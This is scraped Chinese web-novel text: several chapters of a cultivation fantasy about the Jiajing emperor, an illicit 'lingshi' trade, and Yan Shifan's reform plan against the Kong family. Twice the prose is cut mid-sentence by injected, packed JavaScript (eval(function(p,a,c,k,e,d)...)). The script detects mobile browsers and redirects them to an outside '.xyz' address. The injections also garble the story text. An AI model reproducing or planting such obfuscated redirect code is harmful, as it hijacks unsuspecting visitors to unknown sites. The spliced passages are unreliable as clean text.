比如朝廷在地方上打掉了一处官商勾结贪官污吏,这些钱没收入国库,最后还是要流出来的,比如哪里有灾了,户部拨银。 然后这笔钱,也算是顺利的出来了。至于去向在哪,那就看下面的人怎么贪了。 在修仙世界也是一样的。 一切走明账,这是书院的体面! 五年时间,野市的规模再次扩大了不少,按照之前刘权所言,野市的范围朝着两侧和上下延伸不少,俨然有了一座小镇的规模。 “先生,恭喜出关!”独孤家的客栈里,刘权对着嘉靖抱拳说道。 五年时间,对于修仙者来说,并不算什么漫长的时间,所以刘权倒也没有表现出什么好久不见的架势。 对于嘉靖五年时间,依旧没有从筑基初期突破到筑基中期这一点刘权并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669374|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意外。 要是区区五年,就能从筑基初期,突破到筑基中期,那才是意外了。 那得是何等妖孽之资,才能修炼的这么快? 二人一番寒暄,嘉靖也从刘权口中知道了这五年来,宗门的详细发展和生意经营方面。 从刘权口中,嘉靖听到了一个意料之外,情理之中的消息,李长卿果然涉及到了本命交易的生意,甚至不止如此,还有很多更危险的东西。 “灵石?”嘉靖看着手上,指甲盖大小,透明色的结晶体,双眼微微眯起。 这东西他在《星域通识纪要》中看到过,一种盛产于西中原的特殊物品,与灵源的功效差不多,都是为修士提供灵气的。 灵石产自一种矿脉,乃是灵脉‘死’后,吸收地脉煞气和自身灵气,凝结的一种特殊矿石。 灵脉也是会死的,灵脉之死有好几种说法,比如干涸,比如遭到污染,再比如因为不明原因,开始石化,灵石矿脉就是后者。 灵石是一种有毒的东西,它虽然能跟灵源一样使用后为修士提供灵气,但毒素也会进入修士的身体,刺激修士的元神。 从而让修士上瘾,甚至是产生心魔,以及各种奇诡的症状,从而走上魔道或是沦为邪修。 无数散修,吸收灵石后,变得疯疯疯疯癫癫,最重要的是吸收过灵石就会排斥灵源,然后毒素越来越深,最终下场就是堕入魔道。 一般这种修士,都是被天道所摒弃的,元神遭到侵蚀,仙途早已断绝。 一些修士,为了灵石,可以做出很多不可思议的事情来,卖儿卖女都是基本操作。 为了灵石,什么都愿意做! 这东西,书院是明令禁止的,一旦发现有人贩卖灵石,超过一斤的,直接处死。 不过,灵石的利润却也大的出奇。 主要是这东西太好用了,吸收快,灵气纯度高,爆发力强,与自身灵气相容之后,功法运转速度也会更快,毒素虽然侵害元神,却在修士使用灵石的第一时间,变得无比敏捷。 灵台一片清明,悟性可以说瞬间拔高,听闻有些纯度极高,品质极好的灵石,嗯,灵石品质分为下、中、上和极品四个级别。 一块极品灵石,就能让人直接进入一种顿悟状态,修士都知道顿悟有多难得。 比如说你是练气一层,吸收了一块极品灵石,一朝顿悟直接就可能突破练气后期! 灵石对金丹期,元婴期的修士都极其有用,可见其珍贵和强大。 “一些野市的地下交易场所,一铢下品灵石,先生您知道卖多少?”刘权嘶声说着,竖起三根手指,道:“三十两灵源!” “一铢啊,一铢多重?一滴水大小!”刘权说着,拿过嘉靖手上指甲盖大小的灵石,道:“就这个,一两重,卖三百两灵源!” “一两重等于二十四铢,这生意有多黑?”刘权说着,摇头道:“而且价格还随时涨。” “李长卿上大明的商队,贩卖灵石?”嘉靖虽然是在问,但语气却不容置疑。 “呵,”刘权轻笑,道:“先生,李长卿说说了,我们与其他散修势力,宗派不同,我们的背后是书院,让我们放心干就是……” 刘权说的轻松,但嘉靖听出来,刘权害怕了,但回不了头了。 背后是书院,这句话代表什么嘉靖自然明白,这就相当于说是背后是朝廷! “李长卿……”嘉靖轻声呢 喃。 “不止如此,”这时,刘权的声音再次响起,“灵脉生意、本命交易,李家都做!” “先生,”刘权说着,自嘲一笑,道:“这短短五年的时间比我这一生还要精彩!” “我自以为在中原见识到的,就已经是修仙世界的黑暗了,现在想来,黑暗是头上的天,天是黑的,哪还有光?”说着,向上指了指。 嘉靖没有再说话,他也是第一次见识到修仙世界的黑暗。 一个看似维护和平的严苛秩序之下,竟然如此的黑暗残酷。 表面的安定,不过是粉饰! 只是有些普通人,永远接触不到这一层次罢了,而大明仙宗,得到书院李家的赏识,所以见识到了,并直接踏入了这片黑暗中。 “只有如此黑暗的世界,才需要大明律法来拯救!”嘉靖心中轻声说道。 拍了拍刘权的肩膀,示意他不必太在意,“李家势大,我们没有选择的权力。” “如今只能不断的壮大自己,在未来随时可能降临的雷霆之祸下,达到自保!” “嗯,我明白,”刘权摇摇头,收起灵石,看着嘉靖问道:“先生此次前来野市是?” “我需要一条灵脉!”嘉靖直言不讳道。 然后,简单说了一下,自己的本命特殊,需要灵脉,刘权知道嘉靖本命不凡,也不意外,听到嘉靖要灵脉,也不迟疑。 毕竟大明的商队,给李长卿走的生意里,就有灵脉生意,弄一条灵脉并不难。 “先生,这里头封印着一条七品灵脉,”刘权说着,将一个卷轴递到嘉靖跟前,道:“高品阶的灵脉目前我大明还没有接触……” “我明白,一步步来,我们只是跟着浑水摸鱼,顺便捞好处。”嘉靖阻止刘权的解释。 这些灵脉的来源,不用猜都知道,定然是开辟战争中,从大荒得来的。 其中肯定还有更高品质的灵脉,不过规矩嘉靖也懂,那些高品质的都是李长卿的生意,刘权自然没有权限随意拿取。 “既然我大明也已经开始接触灵脉生意了,那宗门的灵脉还没有进行融合吗?”嘉靖好奇道。 他记得,出关时灵气依旧没变。 “灵脉梳理要等左护法出关再说,如今大明融合了两条九品灵脉,倒也不急于一时……”刘权摆摆手开口解释道。 听到刘权这么一说,嘉靖点了点头,表示明白。 之后,嘉靖又跟刘权寒暄了一番,也没有停留,连夜告辞,跟宋薪柴和柳源打了个招呼后,便再次宣告闭关。 刘权知道他要打磨本命物,所以刚出关再次闭关倒也没有人怀疑。 嘉靖读书的院落之中。 “该回去了……”轻声说着,嘉靖再次给周身布下高阶的禁制符箓,开启阵法后,双眼缓缓闭上,心中一动,沟通了大明。 “嗡!”随着空间波动荡起,嘉靖的身影出现在道台上的精舍之中。 神识一扫,阴沉的天穹之下,大雪纷飞,内阁众人身上已经积了厚厚一层雪。 众人的修为,自然也都落入他眼中。 相比于独孤东来这些小家伙,吕芳等人的修为,终究是慢了不少。 倒不是他们的本命,相比起独孤东来这十二个孩子的本命差,而是大明没有灵气。 虽然有灵田赐下,但是这些灵田能提供的灵气浓郁度有限,而且光吸收灵气,没有大量的灵源,只靠着灵田种出来的灵米,灵瓜,灵果这些灵物资源,根本不足以支撑修炼。 “七品灵脉足以覆盖整个京城了……”想着,嘉靖倒也不急着直接种入灵脉,毕竟灵脉在地球这颗‘死星’上种下,工序是很复杂的。 一时半会可弄不好。 眼下还是听听内阁对这三年的政务总结再说。 神识席卷之间,嘉靖撤去了禁制。 “铛!”抄起身旁的罄锤,随手一摆,跟着铜罄发出悠扬的嗡鸣之声,传出殿外。 玉熙宫外,雪地里,严嵩等人听到声响,顿时精神一怔,知道皇上这是出关了。 “吕芳……”果然,就在这时,嘉靖那平淡的声音跟着响起。 “奴婢在!”吕芳浑身灵气一震,抬手间又给自己打了一道清洁符,整理了一下衣袍,这才抬脚上前,推开了玉熙宫的大门。 “奴婢吕芳,恭贺太上大罗天仙/紫极长生圣智昭灵/统三元/证应玉虚/总管五雷大真人/玄都境/万寿帝君,主子陛下出关,仙体躬安!” “朕安!”看着吕芳跪在门口大声祝贺的样子,嘉靖严肃的面容渐宽,道:“沐浴!” 之前,嘉靖在准备冲击筑基后期的时候,就通过本命跟吕芳联系过,今日出关,所以吕芳早早的就准备了起来。 “是,都准备好了……”吕芳说着,赶紧起身出了门儿,然后招呼着提着热水桶走来的陈洪,黄锦等人,道:“快,伺候主子沐浴!” 早在知道皇上修仙,众人也都被赐予了仙官官身之后,伺候皇上出关沐浴的活,就被陈洪、黄锦和石三给包办了。 这种伺候主子的活,哪里还轮得到其他小太监? 至于裕王,景王和内阁众人,则是默默的在 第一百五十八章 死气沉沉的大明,孔家的天,塌了! “唰唰唰!” 一道道目光朝着严世蕃投射而来。 这一刻,不光是高拱一个人察觉到了严世蕃这是终于要对孔家出手了,徐阶、张居正和赵贞吉也都明白了过来。 三年前孔家衍圣公的一篇讨严檄文,矛头直指严世蕃,因此导致严世蕃风评被害。 现如今整个天下,所有人都知道,大明有个魔鬼,刽子手,灭人国亡人种的恶魔。甚至就连也打内严党内部,对严世蕃也是多有不满。 明明对瀛州府倭人的处理方式,是整个大明高层统一默认决定的,但最终的后果却是由严世蕃一个人承担,可以说他是背锅的。 他们清流一派,虽然心里清楚这一切,但因为立场原因,对严世蕃自然是连发的冷嘲热讽,可终究也没有做出一些实质性的行动。 因为他们心里清楚,此举皇上也是默认的,如果他们再针对严世蕃的话,就等同于内斗。 最重要的是,这种内斗对大明来说没有任何的实质性利益,那皇上自然是不会允许的。 可是,谁也没想到,孔家衍圣公会站出来,直接发了一篇讨严檄文。 以孔家衍圣公的地位,他发这么一篇讨严檄文,那无疑是将事情无限的放大。 而且以孔家,在整个儒宗层面的地位来说,这一下子就影响到了天下人读书人对严党的看法,甚至是动摇严党的根基。 严党,其实并不是全部意味着无能,和贪污受贿,更不是说全都不是好人。 恰恰相反,像是胡宗宪、唐顺之这样的人,虽然身上也打上了严党一系的标签,但实则却非常有能力,而这样的人不在少数。 说到底,现如今的严党和清流两派,只不过是立场和政见的不同而已。 可是衍圣公的这一篇檄文的结果,就是造成严党可能会损失很多人才。 严党已经磨灭人性了,你们还跟严党?这话一出,但凡还有点脸面的人,都会思量再三。 也就是三年前,讨严檄文出来的时候,皇上没有说什么,否则严党怕是早就沉不住气了。 毕竟,在众人看来,孔家代表的可是天下儒宗,衍圣公说的话,皇上也不能完全不在乎。 好在,皇上没说话,严党就算再怎么嚣张跋扈,也不敢真的拿孔家怎么样,所以这口气算是忍了下来,当然这是徐阶等人这么想的。 毕竟得了一月,两月,三月……一年,两年,三年,严世蕃都没有任何的动作,所有人都以为这件事就这么过去了。 而事实,也确实如此,在严党的努力下,讨严檄文的风波也就最开始刮了一阵,之后就彻底的平息了下来。 可谁也没有想到,严世蕃会在三年后的今天,突然发难,要对孔家开刀! 而且看他的样子似乎已经为了对付孔家,足足准备了三年,甚至还拿出了一个冠冕堂皇的理由,要求对大明进行变法。 而他的意思也很明确,就是针对孔家! 严世蕃,毒蛇!这一刻的严世蕃,给了徐阶、高拱等人又一次更为深刻的认知。 一口气,竟然能憋着,足足憋了三年,为的就是做好充分准备,祭出自己的雷霆一击。 武勋一方,胡宗宪、王崇古和俞大猷三人互相看了看,也是心中胆寒。 尤其是胡宗宪,身为严嵩的学生他的政治嗅觉,可以说是非常的敏锐。 结合三年前的那一篇讨严檄文,以及今日小阁老提出的变法,不难猜出这是复仇! 三人中,诊治嗅觉最弱的当属俞大猷,毕竟出身还有经历,局限了他的认知高度。 而王崇古,到底是做过兵部侍郎,所以也看了出来,今日是严党的复仇戏码。 但不论是俞大猷还是王崇古都默不作声,眼观鼻鼻观心,静静的听着。 他们代表的既不是清流,也不是严党,他们是裕王跟景王一党,也被称为新党。 没错,就是新党,这是随着武勋派入阁后,朝中武官声音高涨后,提出的新派系。 启思革新? 这就是严世蕃为变法做的准备吗?嘉靖来了兴趣,换了个惬意舒适的坐姿,打开奏本。 这时,下方的严世蕃也开口了。 “自古以来儒家思想为我华夏治国之根本,为国家之稳定与发展做出了巨大贡献。” “然时移世易,臣以为今日之制,亦需有所省思与革新,以应天下之变局。”严世蕃说着,看了眼嘉靖,然后继续道: “为此,三年间,臣总结了陈旧的以儒宗为首的王朝体制下的几大弊端,并做出应变之法,”严世蕃语气顿了一顿,“其一,便是包括我大明在内,此前所有王朝,思想皆僵化!” 听到这里,高拱轻哼一声,只觉得这疯子,又开始大放厥词,大言不惭了。 一旁的张居正也是微微摇头,变法?他不认为严世蕃有这个能力。 就算他准备三年又如何?严世蕃有几斤几两,作为老对手他可是太清楚了。 赵贞吉也是默默听着,神情间不以为然。严世蕃变法?这听起来,好像是话本故事一样。 至于其他人,比如徐阶、裕王、景王、司礼监众人,也都不认为严 世蕃能说出什么有用的东西来,只当他又是借题发挥罢了。 不过严世蕃却不管众人的想法,继续说着。 “一味强调经典之背诵与诠释,而忽视对实际问题之分析与解决,使士人成为腐儒,无实践之能。”严世蕃说着,目光瞥了眼高拱。 就是这一眼,险些让高拱炸毛。 这狗贼,看我是几个意思?我是腐儒吗?我没实践之能吗?高拱的拳头因为严世蕃的一个眼神,捏的梆梆硬。 “对此,臣以为当鼓励士人学子,对儒家经典,进行批判并对经典文本做出不同见解。融合诸子百家,如引道家、法家、墨家等诸子之学,使我朝,士人学子不被一家一眼所蛊惑。” 严世蕃言辞间,无不是对儒家的针对。 一家一言所蛊惑?这说的是谁,再清楚不过了。 “其二,便是如今科举制度之局限,堪称是弊病。” “我朝科举,仅限于儒家经典,忽视其他学问。如今我朝国力上涨,士、农、工、商当全面发展,这自然离不开与之相关的学问。” “忽略实际治国所需之多样才能。” “臣以为,当引百家学说入科举,所谓兼用则明,偏用则暗!” 偏用则暗?对儒家的针对,真的是无处不在! “其三,守旧之弊。儒术崇尚古制,维系旧章,常有抗拒变革之举,阻碍社稷之进步。 缺乏进取精神,过重稳定和谐,致进取之心匮乏,创新之力不足。” “我大明是新生之大明,自当有新气象。不应被某些国之蠹虫所阻碍发展。某些陈旧顽疾,也应该尽早剔除!” 说到这里,严世蕃深吸一口气,道: “以上是臣针对现如今,提出的我大明存在的三大阻碍大明,迈入全新王朝的弊病。” “这些弊病若是让其继续存在,那么即便那时我大明成为仙朝,根本上依旧是一个儒家思想控制下的提线傀儡。” “自古以来,”严世蕃说着,环视众人,侃侃而谈道:“治国无外乎五个阶段!” 严世蕃说着,竖起了手掌。 此时,张居正眉头紧锁,看着严世蕃,此前眼神中的轻视隐隐散去,带了几分认真。 他觉得,严世蕃今日说话,很有条理,似乎并不是在狺狺狂吠,想听听他的高见。 作为一个理智的改革派,张居正对“变法”这两个字,是很敏感的。 严世蕃提出的这三大弊端,固然有其对儒家的不满和对孔家的仇恨,想借此机会报复。 但不论是‘思想僵化’又或者是‘科举局限’和‘守旧之弊’,也都确实是事实。 莫非准备了三年的复仇,严世蕃真能说出点东西来?张居正开始审视起了这个小阁老。 在场之人没有一个是简单的,张居正能一眼看穿,并想明白其中道理的东西,其他人自然也能想得明白,于是都认真了起来。 嘉靖看着奏本上的东西,眼神中有诧异之色浮现,别说,这严世蕃确实提出了点东西。 虽然大方向,主要还是在复仇孔家,可道理上确实如此,想着嘉靖看向严世蕃。 得到嘉靖眼神的注视,严世蕃知道,自己的这一番言论引起了皇上的兴趣,于是挺了挺脊背腰杆,继续开口说了起来。 “第一阶段,便是汉文帝与汉景帝时期宣扬的无为而治,造成史上第一盛世,文景之治!” “可惜的是,得于斯毁于斯。” “比如,汉景帝时期,诸侯王在自己的封国任用亲信,发展经济,拥有了对抗朝廷的实力。” “吴王刘濞,招天下亡命者盗铸钱,东煮海水为盐,以故无赋,国用饶足。他更是联合其他六个诸侯王悍然发动叛变,对抗汉景帝的削藩之策,造成史上赫赫有名的“七国之乱”。” “之后,平定“七国之乱”有功的梁王刘武,为争夺帝位继承权,派人公然刺杀反对自己继位的朝廷大臣袁盎。” “这些实力强大的诸侯王,因为“文景之治”,从而得到了撼动朝廷的实力。” “其二,“文景之治”期间,豪强、巨商、游侠等势力大批出现,荼毒天下。” “一直到汉武帝即位,开始变法。汉武帝在外戚窦婴、田蚡的支持下,任用王臧、赵绾开始推行儒术,企图达到“设明堂,令列侯就国,除关,以礼为服制,以兴太平”的目的。” 说着,严世蕃冷笑连连,道:“儒家,就是在这个时期,开始真正崭露头角!” “等到坚持“黄老之学”的窦太后驾崩,汉武帝开始掌握实权。之后汉武帝重伸尊儒立场,董仲舒作《天人三策》的建议。” “汉武帝予以采纳。从此独尊儒术!这便是第二阶段了!” “之后,第三阶段,便是霸王道杂之!” “董仲舒吸取当时各家各派思想中的新内容来充实自己,提出了“刑者,德之辅”的观点。儒、法并用,以儒为主。” “所谓,以“德”治国谓之王道,以“刑”治国谓之霸道,两者相结合便是“霸王道杂之”。” “在诸侯王、豪强、巨商、游侠等势力不愿意向朝廷主动屈服的情况下,汉武帝用 “霸王道杂之”统治天下势在必行。” “之后,汉宣帝继承汉武帝之志,儒家地位因此而再次提升!”说到这里,严世蕃再次冷笑,道:“可惜的是,汉元帝是个废物。” “他继位后,专任德教,改用周政!” “最终导致乱臣贼子王莽篡汉,但是……”说着,严世蕃的话锋猛的一转,道:“在我看来,根源便是汉武帝独尊儒术。” “以至于儒家地位特殊,从而造就了无能的君主,足以看出儒家的之危害有多大!” “虽然后世如唐太宗等明君,乃至于我朝太祖、成祖等都用霸王道杂之,但时至今日,不论是官员,还是皇帝,或是百姓……” “全都被儒家那条条框框所束缚!” “儒家,已经形成了一种无形中的规则,这种规则,甚至已经凌驾于皇权之上,试图傀儡天下人,从而影响朝堂百官,甚至是皇上。” “民心所向?皇上都不能违拗吗?朝廷国策,为的是千千万万的百姓!” “结果到头来,却说什么泯灭人性,有伤天和,不符合王道?应该以王道教化之……”严世蕃冷笑道:“都是屁话!” “他们说这话的时候,可曾想过,当年沿海那些被倭人欺辱,北境异族抢杀的百姓?和他们的家人?” “这些夷贼,不灭杀干净,不亡其国,灭其种,难道还要好生教化不成?天雷没劈到他们身上,当真说的一口好风凉!” “所以!”严世蕃说完,对着嘉靖一抱拳,道:“臣以为,变法首当其冲,便是废除孔家,衍圣公之爵位!” “其二,修改儒家经典!” “设立“新国子监”,囊括诸子百家学说,设立各支脉。由陛下亲自任命院正及诸博士。” “将儒家,设为百家之一,收回其以往所有尊贵与荣光,与百家平等视之。” 终于,这一刻,严世蕃图穷匕现了。 先是说明现如今大明存在的三大弊端,引起皇帝的兴趣,然后再以汉武帝到汉元帝治国的例子,放大儒家在其中的作用。 最后得出结论就是儒家学说在荼毒人心,干涉朝政,最终导致王莽篡汉的悲剧。 将昏君无能的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669375|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罪过,全部推到儒家身上。 最后,第三步,提出废除衍圣公,重立国子监书院,大面积推行诸子百家学说,将原本做大的儒家,视为其中一脉,慢慢淡化其影响力。 可以说这就相当于是在温水煮青蛙,随着诸子百家齐放,儒家的地位便会削减。 至于众人为什么会觉得儒家的地位会被削减,原因很简单! 那就是所有人都知道,大明在不久的将来会步入仙朝,那时候官员百姓都将修仙。 日后想要在仙朝生活,甚至是修仙,就必须要在大明各行各业站稳脚步。 比如你经商的,你要在商业方面突出,才有可能进入大明银库任职,接触到仙法。 再比如你是农户,你要种灵田,就要在耕种方面有突出的表现才能。 其他的,诸如医药占卜,阴阳五行,这些都将会在未来仙朝,大放异彩。 甚至以后朝廷官员的任职,也都必须是诸子百家,各学说都要门门精通,而不是只明白四书五经,诗词歌赋就行。 这时候,儒家呢? 能有什么是值得众人推崇的? 以后,大明仙朝就一句话:“能者生存!” “皇上,臣说完了!” 严世蕃说着,躬身一礼。 此时,大殿之上,众人看着严世蕃的背影,尤其是张居正、高拱和赵贞吉三人,都有些发懵,严世蕃真的说出了点东西来。 而嘉靖听完这番话后,神识进入了本命,看着面前的大明,陷入了沉思。 随着土地改制第二阶段完成,接下来大明就要发展第三阶段和第四阶段。 可是现如今的大明,在第三阶段第四阶段开启之前,最需要的是一个消化发展的阶段。 虽然人口在这三年期间暴涨了不少,但依旧还是太少,人口带动经济。 所以大明接下来必然是一个朝着盛世发展的阶段,当发展到极致的盛世来临,最后才是开启战功激励,对外扩张之路。 而纵观史书,任何王朝想要迎来巅峰盛世,就必须要变法,虽然如今的大明也算是盛世,可对于一个即将步入仙朝的凡人王朝来说,还不够,必须要有颠覆性的蜕变才行。 这场蜕变是由内而外,本质上的一种蜕变,比如大明陈旧的体制,虽然盛世,可还是没能达到大唐那般的繁荣之世。 那是一种文化,思想上的盛世! 大明的八股牢笼是太祖制定的,上到官员,下到百姓,每个人身上都透一股陈腐的气息,哪怕是现如今盛世吃饱穿暖,依旧没有活力。 商人地位低下,官员依旧按部就班的钻营着怎么站队,巴结上官,还有那户籍黄册,军户的儿子只能当兵,农户的儿子只能当农民等等。 每个人,仿佛都是提线傀儡,毫无生机。 读书人吃饱了以后,不想着灵活变通,只想着死记硬背,寒窗苦读。 整个大明,上上下下,在这吃饱穿暖的盛世里,透 露着一股“气死”。 这股“气死”嘉靖可以在本命上,无比直观的感受到,眼前的大明“太安静”、“太平静”了,仿若一个暮年老者一般。 虽然在这七年时间,他把大明身上的浓疮,烂肉都给剜掉了,原本破旧的大明得以修复,可灵魂依旧是那个陈旧,老朽的大明。 这点嘉靖自然早就注意到了,所以他早就计划着在土地改制第三,第四阶段开启之前,进行一次变法,让大明从本质上完成一次蜕变。 只是没想到,严世蕃为了报复孔家而提出的变法,倒是等于给他送来了契机。 “严世蕃所言,不错。”既然已经决定了要给大明进行一场本质上的蜕变,嘉靖自然也就不会再卖关子,询问众人的想法了。 他的态度就是在告诉众人,变法他同意了。而严世蕃提出的这些观点,很合他意! “皇上圣明。”严嵩当即说道。 徐阶、高拱、张居正,胡宗宪等人见皇上没有询问意见,而是直接拍板后就知道,接下来大明果然要进行一场变法。 没有人是蠢蛋,明眼人都能看出来,第三阶段,第四阶段开启之前,这中间大明要进行消化和发展,开启变法也不足为奇。 “不过,这变法还需要时间完善,”嘉靖抬手将奏本递给吕芳,道: “还需要严世蕃跟着内阁一起督办。时间上,朕给你五年,如何?” 听到皇上这是让自己来主持这场变法,严世蕃顿时狂喜,而后直接跪地道:“臣,定不负皇上重望,将变法推行下去!” 看着严世蕃的背影,张居正神色复杂。 他没想到内阁所有人当中,第一个实现自己治国理想抱负的,竟然是平日里看不上的严世蕃。 虽然土地改制也算是变法,一条鞭法也他推行下去的,可其中有皇上帮他修改,根本也不是他提出来的,算不得他的国策。 而严世蕃这是要直接给大明进行一次换血蜕变,让大明从骨子里进行一次蜕变。 他不认为这场变法会失败,因为这是皇上亲自拍板确定的,届时整个大明从上到下都要配合,朝廷全力运转,所有人都要臣服。 “完了,完了,”高拱看着严世蕃得意的嘴脸,暗暗摇头,“孔家的天,算是塌了!” “以后也不会有儒家衍圣公一说了!衍圣公?你说你好端端的,你惹严世蕃干什么?这回要拉着整个儒宗,为你孔家陪葬了……” 高拱心中说着,但看着严世蕃的背影,却是凝重起来,他没想到严世蕃的成长这么大。 为了报复孔家,竟然足足忍了三年! 不出手则已,一出手就是要撅了儒家的根,不知道今日消息传出去后,孔家会作何感想? 嗯,天下人怕是也会哗然吧! “好了,接下来,也是时候对尔等进行封赏了。”嘉靖笑着道。 听到封赏,包括张居正在内的所有人,都是身体一震。 嗯,虽然严世蕃的变法,震到了他们,但他们没有忘记,今天皇上出关,他们最期待的是什么,无非就是仙法、本命符箓等等。 像是胡宗宪、王崇古和俞大猷三人,饶是他们沉得住气,呼吸也不由急促起来。 仙法,修仙长生,他们也渴望啊! “……” 第一百五十九章 众人安慰赵贞吉,天下哗然,衍圣公吐血! “终于轮到我们获得仙法了!”张居正心中想着,与高拱、胡宗宪三人一样,全都在这一刻,眼巴巴的看着,生怕不会被赐下仙法。 至于得到仙法的几人,此刻虽然也期待着赏赐落下,心态上却已经很放松了。 毕竟他们已经得到了仙法,而且家里也有灵田赐下,如今最缺的不过是检测灵气属性的本命符箓,而筑基丹距离他们太远用不上。 至于筑基以后,可能会用到的转换功法,也跟筑基丹一样,距离他们来说都太遥远了。 “严嵩。”嘉靖抬了抬手指。 “老臣在。”严嵩微微一怔,立刻坐起身,上前一步对着嘉靖躬身行礼。 “朕看你修仙已有三年,如今修为更是突破到了练气一层的境界,”嘉靖说着抬手一张本命符箓飘忽而出,落到严嵩跟前,道: “也到了测试灵气属性的时候了。” “想必本命符箓是什么,如何使用,你们已经从吕芳口中得知,朕这里就不做赘述了。” “将自己的灵气注入本命符箓之中,你的灵气属性就会被检测了。” 对于严嵩的本命和本命属性,嘉靖自然早就知道了,但严嵩等人自己却不知道。 “都有,”见众人都眼巴巴的看着自己,一副等待着赐下本命符箓的模样,嘉靖面容微宽,而后一甩手直接一沓本命符箓飞出。 众人看到飘荡至眼前的本命符箓,也不敢怠慢,赶紧小心翼翼的双手捧着接住。 像是没有得到仙法的张居正、高拱、胡宗宪、王崇古和俞大猷等人则是默默的收起。 习惯性站在人群后边的赵贞吉见此,也默默的收起本命符箓,揣入袖兜儿里。 他可没有忘记自己一直都在藏拙,检测自己的灵气属性,什么时候不能检测回去也可以。 之后,检测出灵气属性后,再悄悄的上报给皇上不就好了。 最重要的是之前皇上对自己赐下仙法,属于是暗地里的赏赐,不能拿出来的。 如果这个时候自己当众暴露了自己是修仙者的事实,那不是背刺了皇上吗? 所以在没有得到皇上确切的明示之前,赵贞吉是绝对不会在人前暴露自己是修仙者的。 接下来,裕王、景王、严嵩、严世蕃、徐阶五人,纷纷拿着本命符箓,将灵气注入其中。 眨眼的功夫,每个人手上的本命符箓,都在这一刻,显化出了不同的效果来。 首先是裕王的本命符箓,嗯,说实话,嘉靖对裕王的本命还算是比较关注的。 毕竟脑子里那拥有三十三种法相,不穿衣服女人,确实让他想忘记都难。 “嘭!”裕王面前的本命符箓燃起一蓬火焰升空,而后就见在火焰当中,竟然长出了一株嫩绿的树苗来,最后出现火木二字。 看着如此神奇的一幕,众人都朝着裕王投去了一个惊讶的目光。 “火木双属性,倒是与吕芳一样。”嘉靖点了点头。 本命特殊,但灵气属性倒是普通。 按照《修行通识纪要》当中所说的,很多特殊的本命,属性有时候也很特殊。 有的是五行属性变异的属性,有的是五行之外,各有不同。 嘉靖又将目光看向了裕王旁边的景王。 见父皇的目光投过来,景王赶紧给本命符箓中注入灵气,下一刻就见一道土黄色的灵气飘荡而出,跟着就见一个“土”字出现。 景王的本命是一个聚宝盆,灵气属性是土属性,倒是没有什么说法,只当是生来如此。 毕竟本命、灵气,全都是先天而生的。 之后,在嘉靖的眼神示意下,严嵩等人也纷纷在本命符箓中,注入了自己的灵气。 本命是一头黑虎的严嵩,灵气属性为金。严世蕃的本命是一条贪婪的毒蛇,灵气属性则是水属性,水至善至柔却也可以至刚。徐阶的本命是一株参天大树,他的灵气属性,则是木属性。 几人看着自己的灵气属性,都是牢牢记在心底的同时,暗暗决定回去后就把日常修炼场所的布置,物件,都摆成与自身属性相合的物件。 严世蕃更是决定,在自家的灵田小院当中,开凿出一片空地出来,弄成一片湖! “高拱、张居正、胡宗宪、王崇古、俞大猷,”嘉靖自然不知道众人心中想法,给所有人赏赐下了本命符箓后继续点名,道:“尔等都是有功之臣,今日起,全部赐下修仙之法。” 然而在嘉靖说完之后,张居正和高拱二人,以及时刻注视着清流一方的严世蕃,都不由得在这一刻愣了一下。 是不是忘了谁?下意识的,众人不着痕迹地朝着最后方,默不作声的赵贞吉看去。 就连老实在在的严嵩和徐阶,此刻也是惊讶了一下,皇上竟然没有点赵贞吉的名字。 这不应该啊! 这次土地改制第二阶段,之所以能顺利进行,多亏了赵贞吉。 最重要的是赵贞吉提出的“聚田削宗”的国策一举解决了皇上很早之前就想解决,但始终没有理由解决的宗室问题。 按理说,在场众人当中,功劳最大的就是赵贞吉了,怎么会忘了他? 不,不对,不 是忘了,是不提! 随着接触修仙之后,众人都知道,对于修仙者来说,不论是身体方面还是其他,都完成了一次蜕变,所以不存在什么忘记一说。 那就是皇上故意不提赵贞吉的! 为什么?难道是因为赵贞吉得罪了宗室?皇上要拿他开刀?一时间众人心中猜测纷纷。 严嵩跟徐阶不着痕迹的对视一眼,没有说话,而后各自低眉垂目,心中思量起来。 御前议政无小事,皇上的想法,他们如今已经猜不透了,所以皇上的一举一动,他们都会格外的,加倍留意着。 赵贞吉不被赐下仙法,不对劲! 当然,任凭严嵩等人心中如何的猜测,都不会想到,嘉靖之所以没有喊赵贞吉的名字,并不是因为什么警告或者说打压。 完完全全就是因为赵贞吉在此前,就已经被赏赐下了仙法。 他心中压根儿就没有那么多想法。 不过嘉靖就算是知道了,也不会向众人解释什么的,既然爱猜那就去猜吧。 “臣等,谢皇上!”众人虽然惊诧于皇上没有提赵贞吉的名字,不过任何想法也仅仅只是在心头一念之间而已,反应却是丝毫不慢。 “吕芳,给他们仙法吧。”嘉靖吩咐道。 “是。”很快,吕芳便从储物袋中拿出早就抄录好的‘引气诀’给几人依次分发了下去。 看着手上薄薄的几页纸,饶是向来注重君子仪态的张居正,也不由的浑身颤抖。 高拱也没好到哪里去,滚圆的虎目中,瞳孔都在微微发颤,胸膛起伏不定。 三年,整整三年! 天知道他们这三年怎么过的,兢兢业业,生怕这三年里,朝廷出半点差池。 虽然他们二人都被敕封了仙官官身,也被赐下了灵田,未来踏上仙途可以说是板上钉钉的事了,可仙法一日不赐下他们就一日无法修仙。 